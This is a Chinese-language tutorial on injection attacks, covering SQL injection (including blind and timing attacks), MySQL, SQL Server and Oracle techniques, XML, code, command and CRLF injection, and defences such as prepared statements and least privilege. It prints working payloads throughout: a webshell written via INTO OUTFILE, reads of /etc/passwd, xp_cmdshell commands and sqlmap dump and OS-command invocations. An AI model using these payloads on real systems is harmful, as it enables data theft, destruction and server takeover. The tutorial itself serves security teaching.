新人開車——註入攻擊
一.1 SQL註入
1、註入攻擊的本質,是把用戶輸入的數據當做代碼執行。這裏有兩個關鍵條件:
(1)用戶能夠控制輸入;
(2)原本程序要執行的代碼,拼接了用戶輸入的數據。
大家都耳熟能詳了,我舉一個例子,
var ship;
ships=Request.form("ship");
var sql= "select * from Orders where ships= ‘ "+ships+ " ‘ ";
假如用戶輸入一段有語義的SQL語句,比如:
Beijng‘;drop table Orders --
那麽在執行時就會拼接成:
"select * from Orders where ships= ‘ Beijng‘;drop table Orders ‘ --
我們看到,原本正常執行的查詢語句,現在變成了查詢完後,再執行一個drop表的操作,而這個操作,是用戶構造了惡意數據的結果。
在SQL註入的過程中,如果網站的WEB的服務器開啟了錯誤回顯,則會為攻擊者提供極大的便利,比如攻擊者在參數中輸入一個單引號 “ ‘ ”,引起執行查詢語句的語法錯誤,
服務器直接返回了錯誤信息:
Microsoft JET Database Engine 錯誤 ‘80040e14’
字符串的語法錯誤 在查詢表達式 ‘ID=49 ’ ’ 中。
/showdetail.asp ,行8
從錯誤信息中可以知道,服務器用的是access數據庫,查詢語句的偽代碼有可能是:
select XX from table_x where id=$id
錯誤回顯披露了敏感信息,對於攻擊者來說,構造SQL註入的語句就可以更加得心應手。
一.2 盲註
1、盲註的概念
所謂的 “盲註”,就是在服務器沒有錯誤回顯時完成的註入攻擊。
最常見的盲註驗證方法是,構造簡單的條件語句,根據返回頁面是否發生變化,來判斷SQL語句是否得到執行。
當攻擊者構造條件 “ and 1=1”時,如果頁面正常返回,再構造 “and 1=2” 如果頁面結果將為空或者是一個出錯頁面,就可以判斷 “ id ”參數存在SQL註入漏洞。(頁面返回不一致就說明存在漏洞)
在這個攻擊過程中,服務器雖然關閉了錯誤回顯,但是攻擊者通過簡單的條件判斷,再對比頁面返回結果的差異,就可以判斷出SQL註入漏洞是否存在。。。
2、盲註的一個技巧:Timing Attack
在MYSQL中,有一個BENCHMARK(count,expr)函數,它是用於測試函數性能的,有倆個參數,函數執行的結果是,將表達式expr執行count次。
比如:
select benchmark(10000,encode(‘hello‘,‘goodby‘));
就將encode(‘hello‘,‘goodby‘)執行了10000次,共用時4.74秒。
因此,利用BENCHMARK(count,expr)函數,可以讓同一個函數執行若幹次,使得結果返回的時間比平時要長;通過時間長短的變化,可以判斷出註入語句是否執行成功。這是一種邊信道攻擊,這個攻擊在盲註中被稱為Timing Attack。
實例:
1170 union select if (substring(current,1,1) =char(119),benchmark(5000,encode(‘MSG‘,‘BY 5 secode‘)),null) from (select Database as current) as tb1;
這個payload判斷庫名的第一個字母是否為char(119),即為小寫的w。如果為真,則會通過BENCHMARK(count,expr)函數造成較長的時延,如果不為真,則該語句將很快執行完。
如果當前數據庫用戶(current_user)具有寫權限,那麽攻擊者還可以將信息寫入本地磁盤中。比如寫入Web目錄中,攻擊者就有可能下載這些文件:
1170 union all select table_name,table_type from information_schema.tables where table_schema=‘mysql‘ order by table_name desc into outfile ‘/path/location/server/www/schema.txt ‘
類似的,通過Dump文件的方法,還可以寫入一個webshell:
1170 union select "<? system($_request[‘cmd‘]); ?>",2,3,4 into outfile "/var/www/html/temp/c.php" --
二、數據庫攻擊技巧
SQL註入是基於數據庫的一種攻擊。不同的數據庫有著不同的功能、不同的語法和函數,因此針對不同的數據庫,SQL註入的攻擊技巧也有所不同。
2.1 常見的攻擊技巧
SQL註入可以猜解出數據庫的對應版本,比如下面這個payload ,如果Mysql 的版本是4,則會返回TRUE:
?id=5 and substring( @@version,1,1) = 4
下面這個Payload,則是利用union select 來分別確定表名admin是否存在,列名passwd是否存在:
union all select 1,2,3 from admin;
union all select 1,2,passwd from admin;
等等等。。。。
這個過程非常的繁瑣,所以非常必要使用一個自動化的工具來幫助完成整個過程。神器---------SQLMAP
下面我就列舉一下該神器的常見用法:
(1)get型
sqlmap -u "IP" --is-dba 查看權限
sqlmap -u "IP" --dbs 所有數據庫名
sqlmap -u "IP" --current-db 當前數據庫名
sqlmap -u "IP" --Table -D "數據庫名" 查看想要查看數據庫中都有哪些表
sqlmap -u "IP" --column -T "表名" -D "數據庫名" 查看有哪些字段
sqlmap -u "IP" --dump -C "username,password" -T "表名" -D "數據庫名" 查看具體字段下的值
sqlmap -u "IP" --dump-all 全部下載
(2)post型
sqlmap -r "IP" --dbs 等,同上面差不多
sqlmap -r "IP" -forms 找到註入點 jjj=123
sqlmap -r "IP" -forms -p jjj -dbs 等
(3)cookie註入
sqlmap -u "IP" --cookie "id=56" --level 2
sqlmap -u "IP" --tables --cookie "id=56" --level 2
在sqlmap中出現黃色則說明 “失敗”,轉為cookie註入。
2.2 命令執行
在註入攻擊的過程中,常常會用到一些讀寫文件的技巧。比如在MYsql中,就可以通過 load_file() 讀取系統文件,並通過 into dumpfile 寫入本地文件。當然這要求當前數據庫用戶有讀寫系統相應文件或目錄的權限。
union select 1,1,load_file("/etc/passwd"),1,1;
如果要將文件讀出後,再返回結果給攻擊者,則可以使用下面的這個技巧:
(1) create table potoao(line blbo);
(2) union select 1,1,hex(load_file(‘/etc/passwd‘)),1,1 into dumpfile ‘/tmp/potoao‘;
(3) load data infile ‘/tmp/potoaos‘ into table potoao;
這需要當前數據庫用戶有創建表的權限。首先通過load_file()將系統文件讀出,再通過 into dumpfile 將該文件寫入系統中,然後通過load data file 將文件導入創建的表中,最後就可以通過一般的註入技巧直接操作表數據了。
除了可以使用 into dumpfile外,還可以使用 into outfile,兩者的區別是dumpfile 適用於二進制文件,它會將目標文件寫入同一行內;而 outfile 則更適用於文本文件。
寫入文件的技巧,經常被用於導出一個webshell,為攻擊者的進一步攻擊做鋪墊。因此在設計數據庫安全方案時,可以禁止普通數據庫用戶具備操作文件的權限。
2.3 命令執行
在MYSQL中,除了可以通過導出webshell間接地執行命令外,還可以利用 “用戶自定義函數” 的技巧,即“UDF”來執行命令。
為找到適應mysql5及之後版本,安全研究者們找到了另外的方法——通過 lib_mysqludf_sys 提供的幾個函數執行系統命令,其中最主要的函數是sys_eval() 和sys_exec()。在攻擊過程中,將lib_mysqludf_sys.so上傳到數據庫能訪問到的路徑下。在創建UDF之後,就可以使用sys_eval()等函數執行命令了。
命令執行,在自動化註入工具sqlmap中已經集成了此功能。
例如:
sqlmap.py -u "http://www.123.com/asal/get.php?id" --os-cmd id -v 1
UDF不僅僅是MYSQL的特性,其他數據庫也有著類似的功能。在sqlserver中,則可以使用存儲過程 “xp_cmdshell”執行系統命令。在oracle數據庫中,如果服務器同時還有java環境,那麽也可能造成命令執行。在sql註入後可以執行多語句的情況下,可以在oralce中創建java的存儲過程執行系統命令。
一般來說,在數據庫中執行系統命令,要求具有較高的權限。在數據庫加固時,可以參閱官方文檔。在建立數據庫賬戶時,應該遵守 “最小權限原則” ,盡量避免web應用使用數據庫的管理員權限。
2.4 攻擊存儲過程
存儲過程必須使用 call 或者 execute 來執行。在sqlserver和oracle數據庫中都有大量內置的存儲過程。在註入攻擊的過程中,存儲過程將為攻擊者提供很大的便利。
在sqlserver 中,存儲過程 "xp_cmdshell" 可謂是臭名昭著,註入sqlserver時都是使用它執行系統命令。
exec master.dbo.xp_cmdshell ‘cmd.exe dir c:‘
exec master.dbo.xp_cmdshell ‘ping ‘
xp_cmdshell 在sqlserver 2000 中默認是開啟的,如果禁止了,可以使用xp_addextendedproc開啟它,但是在sqlserver 2005 及以後版本中則默認禁止了,但是如果當前的數據庫用戶擁有sysadmin權限,則可以使用sp_configure重新開啟它;
exec sp_configure ‘show advanced options‘,1
reconfigure
exec sp_configure ‘xp_cmdshell ‘,1
reconfigure
除了xp_cmdshell外,還有一些其他的存儲過程對攻擊過程也是有幫助的,比如xp_regread 可以操作註冊表:
exec xp_regread HKEY_MACHINE
‘SYSTEM\CurrentControlSet\Services\lanserver\parameters‘, ‘nullsessionshares‘
等等,還有很多存儲過程都非常有用。
除了利用存儲過程直接攻擊外,存儲過程本身也可能會存在註入攻擊。
2.5編碼問題 ---寬字節註入
註入攻擊中常常會用到單引號,雙引號等特殊字符。在應用中開發者為了安全經常會使用轉義字符 “\”來轉義這些特殊字符。單數當數據庫使用了 “寬字符集”時,可能會產生一些意想不到的漏洞。比如當MYSQL使用了GBK編碼時,oxbf27 和oxbf5c都會被認為是一個字符(雙字節字符)。因此,假如攻擊者輸入: oxbf27 or 1=1
經過轉義後,會變成 oxbf5c 27,轉移符被吃掉,從而攻擊成功。
要解決這種問題,需要統一數據庫、操作系統、web應用所使用的字符集 ,以避免各層對字符的理解存在差異。基於字符集的攻擊並不局限於SQL註入,凡是會解析數據的地方都可能存在此問題。比如在XSS攻擊時,由於瀏覽器與服務器返回的字符編碼不同,也可能會存在字符集攻擊。解決辦法就是在HTML頁面的<mets> 標簽中指定當前頁面的charset。
如果因為種種原因無法統一字符編碼,則需要單獨實現一個用於過濾或轉移的安全函數,在其中需要考慮到字符的可能範圍。
根據系統所使用的不同字符集來限制用戶輸入數據的字符允許範圍,以實現安全過濾。
2.6 SQL COLUMN TRUNCATION (截斷攻擊)
在mysql的配置選項中,有一個sql_mode選項。當mysql的sql_mode設置為default時,即沒有開啟 STRICT_ALL_TABLES選項時,mysql對於用戶插入的超長值只會提示waring,而不是error (如果是error則插入不成功),這可能會導致發生一些 “截斷” 問題。
開啟strict模式:
sql-mode="STRICT_TRANS_TABLES,NO_AUTO_CREATE_USER,NO_ENGINE_SUBSTITUTION"
關閉strict模式:
sql-mode="NO_AUTO_CREATE_USER,NO_ENGINE_SUBSTITUTION"
三、正確地防禦SQL註入
從防禦的角度來看,要做的事情有兩件:
(1)找到所有的SQL註入漏洞
(2)修補這些漏洞
sql註入的防禦並不是一件簡單的事情,開發者常常會走入一些誤區。比如只對用戶輸入做一些escape處理,這是不夠的。參考如下案例:
$sql="select id,name,mail from register where id=".mysql_real_escape_string($_GET[‘id‘]);
當攻擊者構造的註入代碼如下:
http://www.123.com/user.php?id=2,and,1=0,union,select,1,concat(user,0x3a,password),3,4,5,6 from,mysql.user,where,user=substring_index(current_user(),char(64),1)
將繞過mysql_real_escape_string的作用註入成功。
因為mysql_real_escape_string僅僅會轉義:’、”、\r 、\n、NULL 、Control-Z 。這幾個字符,在本例中sql註入所使用的payload完全沒有用到這幾個字符。
那麽到底如何正確的防禦呢?
1、使用預編譯語句
使用預編譯的sql語句,sql語句的語義不會發生改變。在sql語句中,變量用?表示,攻擊者無法改變sql的結構。
$query="insert into mycity (name,countrycode,district) values (?,?,?)";
$stmt=$mysqli->prepare($query);
$stmt->bind_param("sss",$val1,$val2,$val3);
$val1=‘gart‘
$val2=‘DEU‘
$val3=‘BADEN‘
$stmt->execute();
2、使用存儲過程
使用存儲過程的效果和使用預編譯語句類似,其區別就是存儲過程需要先將sql語句定義在數據庫中。但需要註意的是,存儲過程中也可能會存在註入問題,因此應該盡量避免在存儲過程內使用動態的sql語句。如果無法避免,則應該使用嚴格的輸入過濾或者是編碼函數來處理用戶的輸入數據。
但是有時候,可能無法使用預編譯語句或存儲過程,該怎麽辦?這時候只能再次回到輸入過濾和編碼等方法上來。
3、檢查數據類型
檢查輸入數據的數據類型,在很大程度上可以對抗SQL註入。
比如下面這段代碼,就限制了輸入數據的類型只能為 integer ,在這種情況下,也是無法註入成功的。
<?php
settype($offset,‘integer‘);
$query="select id,name from products order by name limit 20 offset $offset;";
$query=sprintf("select id,name from products order by name limit 20 offset %d;",$offset);
?>
其他的數據格式或類型檢查也是有益的。比如用戶在輸入郵箱時,必須嚴格按照郵箱的格式。但是數據類型檢查並非萬能的,如果需求就是需要用戶提交字符串,比如一段短文,則需要依賴其他的方範sql註入。
4、使用安全函數
一般來說,各種web語言都實現了一些編碼函數,可以幫助對抗sql註入。但是前文舉了一些編碼函數被繞過的例子,因此我們需要一個足夠安全的編碼函數。
安全專家編寫的函數:
ESAPI.encoder().encodeForSQL(new OracleCode(),queryparam);
在使用時:
Code ORACLE_CODEC = new OracleCode();
String query="select user_id from user_data where user_name=‘ "+ESAPI.encoder().encodeForSQL(ORACLE_CODE,req.getParameter("userID"))+
" ‘ and user_password=‘ " + ESAPI.encoder().encodeForSQL(ORACLE_CODE,req.getParameter("pwd")) +" ‘ " ;
在最後,從數據庫自身的角度來說,應該使用最小權限原則,避免WEB應用直接使用root、dbowner等高權限賬戶直接連接數據庫。如果有多個不同的應用在使用同一個數據庫,則也應該為每個應用分配不同的賬戶。web應用使用的數據庫賬戶,不應該有創建自定義函數、操作本地文件的權限。
四、其他註入攻擊
4.1 XML註入
XML是一種常用的標記語言,通過標簽對數據進行結構化表示。XML與HTML都是SGML(標準通用標記語言)。
final string guestrole="guest_role";
.......
//userdata是準備保存的XML數據,接收了name和email兩個用戶提交來的數據
string userdata = "<user role=" + guestrole + "><name>"+
request.getParameter("name") +
"</name><email>"
+ request.getParameter("email") + "</email></user>";
但是如果用戶構造了惡意輸入數據,就有可能形成註入攻擊。比如用戶輸入的數據如下:
[email protected]</email></user><user role="admin_role"><name>test</name><email>[email protected]
最終生成的XML文件裏被插入一條數據:
<?xml version="1.0" encoding="utf-8" ?>
<user role ="guest_role">
<name>user1
</name>
<email> [email protected] </email>
</user>
<user role="admin_role">
<name>test</name>
<email>[email protected]</email>
</user>
由此可見xml註入,也需要滿足註入攻擊的兩大條件:用戶能控制數據的輸入;程序拼湊了數據。
修補方案是,對用戶輸入數據中包含的 “語言本身的保留字符”進行轉義:
static
{
entityToCharacterMap = new HashTrie<Character>();
entityToCharacterMap.put("lt",‘<‘);
entityToCharacterMap.put("gt",‘>‘);
........
}
4.2代碼註入
代碼註入比較特別一點。代碼註入與命令註入往往都是有一些不安全的函數或者方法引起的,其中的典型代表就是eval();如下例:
$myval="varname";
$x=$_GET[‘arg‘];
eavl("\$myval = $x;");
攻擊者可以通過如下payload實施代碼註入:
/index.php?arg=1;phpinfo()
存在代碼註入漏洞的地方,與“ 後門 ”沒有區別。
此外,Jsp的動態include也能導致代碼註入。嚴格來說,PHP、JSP的動態include(文件包含漏洞)導致的代碼執行,都可以算是一種代碼執行。
代碼註入多見於腳本語言,有時候代碼註入可以造成命令註入。比如:
<?php
$varerror=system( ‘cat‘ .$_GET[‘pageid‘], $valoretorno);
echo $varerror;
?>
這就是一個典型的命令註入,攻擊者可以使用system()函數執行他想要的系統命令。
vulnerable.php?pageid-loquesea ; ls
在對抗代碼註入、命令註入時,需要禁用eval()、system()等可以執行命令的函數。如果一定要使用這些函數,則需要對用戶的輸入數據進行處理。此外,在php/jsp重比米娜動態include遠程文件,或者安全地處理它。
4.3 CRLF註入
CRLF實際上是兩個字符:CR是Carriage Return (ASCII 13, \r ), LF是 line Feed (ASCII 10,\n)。\r\n 這兩個字符是用於表示換行的,其十六進制編碼分別為 ox0d、 ox0a 。
CRLF常被用做不同語義之間的分隔符。因此通過 “註入CRLF字符”,就有可能改變原有的語義。
比如,在日誌文件中,通過CRLF有可能構造出一條新的日誌。下面這段代碼,將登陸失敗的用戶寫入日誌文件中。
def log_failed_login(username)
log = open("access.log",‘a‘)
log.wirte("user login failed for :%s \n " % username)
log.colse()
正常情況下,會記錄下如下日誌:
user login failed for :guest
user login failes for: admin
由於沒有處理換行符 “\r\n” ,因此當攻擊者輸入如下數據時,就可能插入一條額外的日誌記錄。
guest \n user login succeeded for:admin
由於換行符 “\n”的存在,會變成:
user login failed for :guest
user login succeeded for: admin (第二條記錄是偽造的)
CRLF註入並非僅能用於log註入,凡是使用CRLF作為分割符的地方都可能存在這種註入,比如 “註入HTTP頭” ,它可以破壞HTTP協議的完整性。
對抗CRLF的方法很簡單,只需要處理好 “\r” 、“\n” 這兩個保留字符即可,尤其是那些使用 “換行符”作為分隔符的應用。
五、總結
在對抗註入攻擊時,只需要牢記“數據與代碼分離原則”,在“拼湊”發生的地方進行安全檢查,就能避免此類問題。
新人開車——註入攻擊